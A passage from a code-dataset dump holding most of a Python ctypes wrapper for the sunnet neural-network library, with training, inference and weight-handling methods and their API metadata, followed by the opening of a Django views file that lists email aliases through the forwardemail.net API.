__enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n if (self._net):\n pfun = _LIB.snFreeNet\n pfun.restype = None\n pfun.argtypes = (ctypes.c_void_p)\n pfun(self._net)\n\n\n def getErrorStr(self) -> str:\n \"\"\"\n last error string\n :return: '' ok\n \"\"\"\n if (not self._net):\n return 'net not create'\n\n pfun = _LIB.snGetLastErrorStr\n pfun.restype = None\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p)\n\n err = ctypes.create_string_buffer(256)\n\n self._net = pfun(self._net, err)\n\n return err\n\n\n def addNode(self, name : str, nd, nextNodes : str):\n \"\"\"\n add Node\n :param name: name node\n :param nd: tensor node\n :param nextNodes: next nodes through a space\n :return: True ok\n \"\"\"\n self._nodes.append({'NodeName': name, 'OperatorName': nd.name(), 'OperatorParams': nd.getParams().copy(), 'NextNodes': nextNodes})\n\n return self\n\n\n def updateNode(self, name : str, nd) -> bool:\n \"\"\"\n Update params node\n :param name: name node\n :param nd: tensor node\n :return: True ok\n \"\"\"\n\n ok = False\n if (self._net):\n ok = _LIB.snSetParamNode(self._net, c_str(name), c_str(nd.getParams()))\n else:\n for n in self._nodes:\n if (n['name'] == name):\n n['params'] = nd.getParams().copy()\n ok = True\n break\n return ok\n\n\n def training(self, lr: float, inTns: numpy.ndarray, outTns: numpy.ndarray,\n trgTns: numpy.ndarray, outAccurate = []) -> bool:\n \"\"\"\n Training net - cycle fwd<->bwd with calc error\n :param lr: lerning rate\n :param inTns: in tensor NCHW(bsz, ch, h, w)\n :param outTns: out tensor\n :param trgTns: target tensor\n :param outAccurate: accurate\n :return: True ok\n \"\"\"\n\n if (not(self._net) and not(self._createNet())):\n return False\n\n insz = snLSize()\n insz.bsz = inTns.shape[0]\n insz.ch = inTns.shape[1]\n insz.h = inTns.shape[2]\n insz.w = inTns.shape[3]\n indata = inTns.__array_interface__['data'][0]\n\n outsz = snLSize()\n outsz.bsz = outTns.shape[0]\n outsz.ch = outTns.shape[1]\n outsz.h = outTns.shape[2]\n outsz.w = outTns.shape[3]\n outdata = outTns.__array_interface__['data'][0]\n\n trgsz = snLSize()\n trgsz.bsz = trgTns.shape[0]\n trgsz.ch = trgTns.shape[1]\n trgsz.h = trgTns.shape[2]\n trgsz.w = trgTns.shape[3]\n trgdata = trgTns.__array_interface__['data'][0]\n\n pfun = _LIB.snTraining\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_float, snLSize, ctypes.POINTER(ctypes.c_float),\n snLSize, ctypes.POINTER(ctypes.c_float), ctypes.POINTER(ctypes.c_float), ctypes.POINTER(ctypes.c_float))\n\n if (len(outAccurate)):\n cAccurate = ctypes.c_float(0)\n pAcc = snFloat_p(ctypes.addressof(cAccurate))\n else:\n cAccurate = 0\n pAcc = 0\n\n ok = pfun(self._net, ctypes.c_float(lr), insz, snFloat_p(indata), outsz,\n snFloat_p(outdata), snFloat_p(trgdata), pAcc)\n\n if (len(outAccurate)):\n outAccurate[0] = cAccurate.value\n\n return ok\n\n\n def forward(self, isLern : bool, inTns : numpy.ndarray, outTns : numpy.ndarray) -> bool:\n \"\"\"\n Forward action\n :param isLern: is lerning?\n :param inTns: in tensor NCHW(bsz, ch, h, w)\n :param outTns: out tensor\n :return: True ok\n \"\"\"\n\n if (not(self._net) and not(self._createNet())):\n return False\n\n insz = snLSize()\n insz.bsz = inTns.shape[0]\n insz.ch = inTns.shape[1]\n insz.h = inTns.shape[2]\n insz.w = inTns.shape[3]\n indata = inTns.__array_interface__['data'][0]\n\n outsz = snLSize()\n outsz.bsz = outTns.shape[0]\n outsz.ch = outTns.shape[1]\n outsz.h = outTns.shape[2]\n outsz.w = outTns.shape[3]\n outdata = outTns.__array_interface__['data'][0]\n\n pfun = _LIB.snForward\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_bool, snLSize, ctypes.POINTER(ctypes.c_float),\n snLSize, ctypes.POINTER(ctypes.c_float))\n\n return pfun(self._net, isLern, insz, snFloat_p(indata), outsz, snFloat_p(outdata))\n\n\n def backward(self, lr : float, gradTns : numpy.ndarray) -> bool:\n \"\"\"\n Backward action\n :param lr: lerning rate\n :param gradTns: in gradient error tensor\n :return: True ok\n \"\"\"\n\n if (not(self._net) and not(self._createNet())):\n return False\n\n insz = snLSize()\n insz.bsz = gradTns.shape[0]\n insz.ch = gradTns.shape[1]\n insz.h = gradTns.shape[2]\n insz.w = gradTns.shape[3]\n indata = gradTns.__array_interface__['data'][0]\n\n pfun = _LIB.snBackward\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_float, snLSize, ctypes.POINTER(ctypes.c_float))\n\n return pfun(self._net, ctypes.c_float(lr), insz, snFloat_p(indata))\n\n\n def addUserCallBack(self, ucbName: str, ucb) -> bool:\n \"\"\"\n User callback for 'UserCBack' layer and 'LossFunction' layer\n :param ucbName: cback name\n :param ucb: cback function\n :return: True ok\n\n ucb = function(None,\n str, # name user cback\n str, # name node\n bool, # current action forward(true) or backward(false)\n inLayer: ndarray, # input layer - receive from prev node\n outLayer: [ndarray] # output layer - send to next node\n )\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n def c_ucb(ucbName: ctypes.c_char_p, # name user cback\n nodeName: ctypes.c_char_p, # name node\n isFwdBwd: ctypes.c_bool, # current action forward(true) or backward(false)\n inSize: snLSize, # input layer size - receive from prev node\n inData: ctypes.POINTER(ctypes.c_float), # input layer - receive from prev node\n outSize: ctypes.POINTER(snLSize), # output layer size - send to next node\n outData: ctypes.POINTER(ctypes.POINTER(ctypes.c_float)), # output layer - send to next node\n auxUData: ctypes.c_void_p): # aux used data\n\n insz = inSize.w * inSize.h * inSize.ch * inSize.bsz\n\n dbuffer = (ctypes.c_float * insz).from_address(ctypes.addressof(inData.contents))\n inLayer = numpy.frombuffer(dbuffer, ctypes.c_float).reshape((inSize.bsz, inSize.ch, inSize.h, inSize.w))\n\n outLayer = [0]\n ucb(ucbName.decode(\"utf-8\"), nodeName.decode(\"utf-8\"), isFwdBwd, inLayer, outLayer)\n\n outSize.contents.bsz = outLayer[0].shape[0]\n outSize.contents.ch = outLayer[0].shape[1]\n outSize.contents.h = outLayer[0].shape[2]\n outSize.contents.w = outLayer[0].shape[3]\n\n outsz = outLayer[0].shape[0] * outLayer[0].shape[1] * outLayer[0].shape[2] * outLayer[0].shape[3]\n\n cbuff = self._userCBack[ucbName.decode(\"utf-8\")][1]\n if (self._userCBack[ucbName.decode(\"utf-8\")][2] != outsz):\n self._userCBack[ucbName.decode(\"utf-8\")][2] = outsz\n cbuff = self._userCBack[ucbName.decode(\"utf-8\")][1] = (ctypes.c_float * outsz)()\n\n addrBuff = ctypes.cast(ctypes.addressof(cbuff), ctypes.POINTER(ctypes.c_float))\n ctypes.memmove(ctypes.addressof(outData.contents), ctypes.addressof(addrBuff),\n ctypes.sizeof(ctypes.POINTER(ctypes.c_float)))\n\n ctypes.memmove(ctypes.addressof(cbuff), snFloat_p(outLayer[0].__array_interface__['data'][0]),\n ctypes.sizeof(ctypes.c_float) * outsz)\n\n\n self._userCBack[ucbName] = [snUserCBack(c_ucb), (ctypes.c_float)(), 0]\n\n pfun = _LIB.snAddUserCallBack\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p, snUserCBack, ctypes.c_void_p)\n\n return pfun(self._net, c_str(ucbName), self._userCBack[ucbName][0], 0)\n\n\n def getOutputNode(self, nodeName: str, output: [numpy.ndarray]) -> bool:\n \"\"\"\n get Output of Node ('channels first' NCHW(bsz, ch, h, w))\n :param nodeName: node name\n :param output: out array as list[0]\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n pfun = _LIB.snGetOutputNode\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p,\n ctypes.POINTER(snLSize), ctypes.POINTER(ctypes.POINTER(ctypes.c_float)))\n\n osize = snLSize()\n odata = ctypes.POINTER(ctypes.c_float)()\n\n if (pfun(self._net, c_str(nodeName), ctypes.pointer(osize), ctypes.byref(odata))):\n\n osz = osize.w * osize.h * osize.ch * osize.bsz\n\n dbuffer = (ctypes.c_float * osz).from_address(ctypes.addressof(odata.contents))\n output[0] = numpy.frombuffer(dbuffer, ctypes.c_float).copy().reshape((osize.bsz, osize.ch, osize.h, osize.w))\n\n pfun = _LIB.snFreeResources\n pfun.restype = None\n pfun.argtypes = (ctypes.POINTER(ctypes.c_float), ctypes.c_char_p)\n\n pfun(odata, ctypes.c_char_p(0))\n\n return True\n else:\n return False\n\n\n def getWeightNode(self, nodeName: str, weight: [numpy.ndarray]) -> bool:\n \"\"\"\n get Weight of Node ('channels first' NCHW(bsz, ch, h, w))\n :param nodeName: node name\n :param weight: out array weight as list[0]\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n pfun = _LIB.snGetWeightNode\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p,\n ctypes.POINTER(snLSize), ctypes.POINTER(ctypes.POINTER(ctypes.c_float)))\n\n wsize = snLSize()\n wdata = ctypes.POINTER(ctypes.c_float)()\n\n if (pfun(self._net, c_str(nodeName), ctypes.pointer(wsize), ctypes.byref(wdata))):\n\n wsz = wsize.w * wsize.h * wsize.ch * wsize.bsz\n\n dbuffer = (ctypes.c_float * wsz).from_address(ctypes.addressof(wdata.contents))\n weight[0] = numpy.frombuffer(dbuffer, ctypes.c_float).copy().reshape((wsize.bsz, wsize.ch, wsize.h, wsize.w))\n\n pfun = _LIB.snFreeResources\n pfun.restype = None\n pfun.argtypes = (ctypes.POINTER(ctypes.c_float), ctypes.c_char_p)\n\n pfun(wdata, ctypes.c_char_p(0))\n\n return True\n else:\n return False\n\n\n def setWeightNode(self, nodeName: str, weight: numpy.ndarray) -> bool:\n \"\"\"\n set weight of node ('channels first' NCHW(bsz, ch, h, w))\n :param nodeName: node name\n :param weight: set array weight\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n wsize = snLSize()\n wsize.bsz = weight.shape[0]\n wsize.ch = weight.shape[1]\n wsize.h = weight.shape[2]\n wsize.w = weight.shape[3]\n inw = weight.__array_interface__['data'][0]\n\n pfun = _LIB.snSetWeightNode\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p,\n snLSize, ctypes.POINTER(ctypes.c_float))\n\n return pfun(self._net, c_str(nodeName), wsize, snFloat_p(inw))\n\n def setBNornNode(self, nodeName: str, bnval: [numpy.ndarray]) -> bool:\n \"\"\"\n set batch norm of node (gamma, beta, mean, varce)\n :param nodeName: node name\n :param bnval: set array weight\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n bnsz = snLSize()\n bnsz.bsz = 1\n bnsz.ch = bnval[0].shape[0]\n bnsz.h = bnval[0].shape[1]\n bnsz.w = bnval[0].shape[2]\n\n bnorm = snBNorm()\n bnorm.mean = snFloat_p(bnval[2].__array_interface__['data'][0])\n bnorm.varce = snFloat_p(bnval[3].__array_interface__['data'][0])\n bnorm.scale = snFloat_p(bnval[0].__array_interface__['data'][0])\n bnorm.schift = snFloat_p(bnval[1].__array_interface__['data'][0])\n\n pfun = _LIB.snSetBatchNormNode\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p,\n snLSize, snBNorm)\n\n return pfun(self._net, c_str(nodeName), bnsz, bnorm)\n\n\n def loadAllWeightFromFile(self, weightPath : str) -> bool:\n \"\"\"\n load All Weight From File\n :param weightPath: weight Path file\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n pfun = _LIB.snLoadAllWeightFromFile\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p)\n\n return pfun(self._net, c_str(weightPath))\n\n\n def saveAllWeightToFile(self, weightPath: str) -> bool:\n \"\"\"\n save All Weight to File\n :param weightPath: weight Path file\n :return: True ok\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n pfun = _LIB.snSaveAllWeightToFile\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.c_char_p)\n\n return pfun(self._net, c_str(weightPath))\n\n\n def getGetArchitecNet(self) -> str:\n \"\"\"\n architecture of net\n :return: arch in json. '' - error\n \"\"\"\n\n if (not (self._net) and not (self._createNet())):\n return False\n\n pfun = _LIB.snGetArchitecNet\n pfun.restype = ctypes.c_bool\n pfun.argtypes = (ctypes.c_void_p, ctypes.POINTER(ctypes.c_char_p))\n\n ss = ctypes.c_char_p()\n\n if (pfun(self._net, ctypes.byref(ss))):\n\n ret = ss.value.decode(\"utf-8\")\n\n pfun = _LIB.snFreeResources\n pfun.restype = None\n pfun.argtypes = (ctypes.POINTER(ctypes.c_float), ctypes.c_char_p)\n\n pfun(ctypes.cast(0, ctypes.POINTER(ctypes.c_float)), ss)\n\n return ret\n else:\n return ''\n\n\n def _createNet(self) -> bool:\n \"\"\"Create net.\"\"\"\n\n if (self._net): return True\n\n nsz = len(self._nodes)\n if (nsz == 0): return False\n\n beginNode = self._nodes[0]['NodeName']\n prevEndNode = self._nodes[nsz - 1]['NodeName']\n\n for i in range(0, nsz):\n if (self._nodes[i]['OperatorName'] == 'Input'):\n beginNode = self._nodes[i]['NextNodes']\n if (self._nodes[i]['NextNodes'] == 'Output'):\n prevEndNode = self._nodes[i]['NodeName']\n self._nodes[i]['NextNodes'] = \"EndNet\"\n\n for i in range(0, nsz):\n if (self._nodes[i]['OperatorName'] == 'Input'):\n self._nodes.pop(i)\n break\n\n ss = {\n 'BeginNet':{\n 'NextNodes' : beginNode\n },\n 'Nodes' : self._nodes,\n 'EndNet': {\n 'PrevNode': prevEndNode\n }\n }\n\n return self._createNetJn(json.dumps(ss))\n\n\n def _createNetJn(self, jnNet : str) -> bool:\n \"\"\"Create net.\"\"\"\n\n if (self._net): return True\n\n pfun = _LIB.snCreateNet\n pfun.restype = ctypes.c_void_p\n pfun.argtypes = (ctypes.c_char_p, ctypes.c_char_p, snErrCBack, ctypes.c_void_p)\n\n self._errCBack = snErrCBack(lambda mess, obj : print('SNet ' + str(mess)))\n\n err = ctypes.create_string_buffer(256)\n self._net = pfun(c_str(jnNet), err, self._errCBack, 0)\n\n if (not self._net):\n print(err)\n\n return self._net\n\n", "repo_name": "Tyill/sunnet", "sub_path": "python/libsunnet/snNet.py", "file_name": "snNet.py", "file_ext": "py", "file_size_in_byte": 17122, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 63, "dataset": "github-code", "pt": "80", "api": [{"api_name": "libsunnet.__init__._LIB.snFreeNet", "line_number": 33, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 33, "usage_type": "name"}, {"api_name": "ctypes.c_void_p", "line_number": 35, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snGetLastErrorStr", "line_number": 47, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 47, "usage_type": "name"}, {"api_name": "ctypes.c_void_p", "line_number": 49, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 49, "usage_type": "attribute"}, {"api_name": "ctypes.create_string_buffer", "line_number": 51, "usage_type": "call"}, {"api_name": "libsunnet.__init__._LIB.snSetParamNode", "line_number": 81, "usage_type": "call"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 92, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snTraining", "line_number": 127, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 127, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 128, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 129, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 129, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 129, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 130, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 130, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 133, "usage_type": "call"}, {"api_name": "ctypes.addressof", "line_number": 134, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 148, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snForward", "line_number": 174, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 174, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 175, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 176, "usage_type": "attribute"}, {"api_name": "ctypes.c_bool", "line_number": 176, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 176, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 176, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 177, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 182, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snBackward", "line_number": 200, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 200, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 201, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 202, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 202, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 202, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 204, "usage_type": "call"}, {"api_name": "ctypes.c_char_p", "line_number": 226, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 227, "usage_type": "attribute"}, {"api_name": "ctypes.c_bool", "line_number": 228, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 230, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 230, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 231, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 232, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 232, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 233, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 237, "usage_type": "attribute"}, {"api_name": "ctypes.addressof", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 238, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 238, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 253, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 255, "usage_type": "call"}, {"api_name": "ctypes.addressof", "line_number": 255, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 255, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 255, "usage_type": "attribute"}, {"api_name": "ctypes.memmove", "line_number": 256, "usage_type": "call"}, {"api_name": "ctypes.addressof", "line_number": 256, "usage_type": "call"}, {"api_name": "ctypes.sizeof", "line_number": 257, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 257, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 257, "usage_type": "attribute"}, {"api_name": "ctypes.memmove", "line_number": 259, "usage_type": "call"}, {"api_name": "ctypes.addressof", "line_number": 259, "usage_type": "call"}, {"api_name": "ctypes.sizeof", "line_number": 260, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 260, "usage_type": "attribute"}, {"api_name": "ctypes.c_float", "line_number": 263, "usage_type": "call"}, {"api_name": "libsunnet.__init__._LIB.snAddUserCallBack", "line_number": 265, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 265, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 266, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 267, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 267, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 272, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snGetOutputNode", "line_number": 283, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 283, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 284, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 285, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 285, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 286, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 286, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 289, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 289, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 291, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 291, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 295, "usage_type": "attribute"}, {"api_name": "ctypes.addressof", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 296, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 296, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snFreeResources", "line_number": 298, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 298, "usage_type": "name"}, {"api_name": "ctypes.POINTER", "line_number": 300, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 300, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 300, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 309, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snGetWeightNode", "line_number": 320, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 320, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 321, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 322, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 322, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 323, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 323, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 326, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 326, "usage_type": "attribute"}, {"api_name": "ctypes.pointer", "line_number": 328, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 328, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 332, "usage_type": "attribute"}, {"api_name": "ctypes.addressof", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 333, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 333, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snFreeResources", "line_number": 335, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 335, "usage_type": "name"}, {"api_name": "ctypes.POINTER", "line_number": 337, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 337, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 337, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 339, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 346, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snSetWeightNode", "line_number": 364, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 364, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 365, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 366, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 366, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 367, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 367, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 371, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snSetBatchNormNode", "line_number": 394, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 394, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 395, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 396, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 396, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snLoadAllWeightFromFile", "line_number": 412, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 412, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 413, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 414, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 414, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snSaveAllWeightToFile", "line_number": 429, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 429, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 430, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 431, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 431, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB.snGetArchitecNet", "line_number": 445, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 445, "usage_type": "name"}, {"api_name": "ctypes.c_bool", "line_number": 446, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 447, "usage_type": "attribute"}, {"api_name": "ctypes.POINTER", "line_number": 447, "usage_type": "call"}, {"api_name": "ctypes.c_char_p", "line_number": 447, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 449, "usage_type": "call"}, {"api_name": "ctypes.byref", "line_number": 451, "usage_type": "call"}, {"api_name": "libsunnet.__init__._LIB.snFreeResources", "line_number": 455, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 455, "usage_type": "name"}, {"api_name": "ctypes.POINTER", "line_number": 457, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 457, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 457, "usage_type": "attribute"}, {"api_name": "ctypes.cast", "line_number": 459, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 459, "usage_type": "call"}, {"api_name": "ctypes.c_float", "line_number": 459, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 499, "usage_type": "call"}, {"api_name": "libsunnet.__init__._LIB.snCreateNet", "line_number": 507, "usage_type": "attribute"}, {"api_name": "libsunnet.__init__._LIB", "line_number": 507, "usage_type": "name"}, {"api_name": "ctypes.c_void_p", "line_number": 508, "usage_type": "attribute"}, {"api_name": "ctypes.c_char_p", "line_number": 509, "usage_type": "attribute"}, {"api_name": "ctypes.c_void_p", "line_number": 509, "usage_type": "attribute"}, {"api_name": "ctypes.create_string_buffer", "line_number": 513, "usage_type": "call"}]} +{"seq_id": "22970417964", "text": "from django.shortcuts import render\nimport requests\nfrom django.http import JsonResponse\nimport json\nfrom django.http import HttpResponse\nimport os\nfrom rest_framework import viewsets\nfrom .models import Aliases\nfrom .serializers import AliasesSerializers\n# from rest_framework.response import Response\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.decorators import permission_classes, api_view\nUSERNAME = os.environ.get('USERNAME')\nDOMAINS_PROVIDED = {\"domains\": [\"swiftmegaminds.tech\", \"hash.fyi\", \"hideaddress.net\",\n \"mailsire.com\", \"secret.fyi\"]\n }\n\n\n# Utility function\ndef request_get_util(domain='', payload=None):\n FORWARD_EMAIL_ENDPOINT = f\"https://api.forwardemail.net/v1/domains/{domain}/aliases\"\n if not payload:\n return requests.get(FORWARD_EMAIL_ENDPOINT, auth=(USERNAME, ''))\n else:\n return requests.post(FORWARD_EMAIL_ENDPOINT, auth=(USERNAME, ''), json=payload)\n\n\ndef get_aliases(request):\n \"\"\"\n Returns all the Aliases\n API_ENDPOINT:api/v1/aliases\n \"\"\"\n res = request_get_util()\n return JsonResponse(res.json(), safe=False)\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef get_aliases_user(request):\n \"\"\"\n Returns all the Aliases\n API_ENDPOINT:api/v1/aliases\n ----------\n payload\n {\n \"email\":\"a@a.com\"\n }\n \"\"\"\n alias_array = []\n payload = {}\n print(\"came to get_aliases_user()\")\n data_received = json.loads(request.body)\n email = data_received[\"email\"]\n print(f\"Email body:{email}\")\n db_data = Aliases.objects.filter(user__email=email)\n print(f\"QuerySet->{db_data}\")\n for x in db_data:\n alias_array.append(x.alias)\n return JsonResponse({\"alias\":alias_array}, safe=False)\n\n\n\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef get_domains(request):\n \"\"\"\n REDUNDANT\n Return all the domains\n API_ENDPOINT:api/v1/aliases/domains\n \"\"\"\n return JsonResponse(DOMAINS_PROVIDED)\n\n\n@csrf_exempt\n@api_view(['GET', 'POST'])\n@permission_classes([IsAuthenticated])\ndef get_alias_filtered(request, DOMAIN):\n \"\"\"\n Return Domain filtered by domain\n 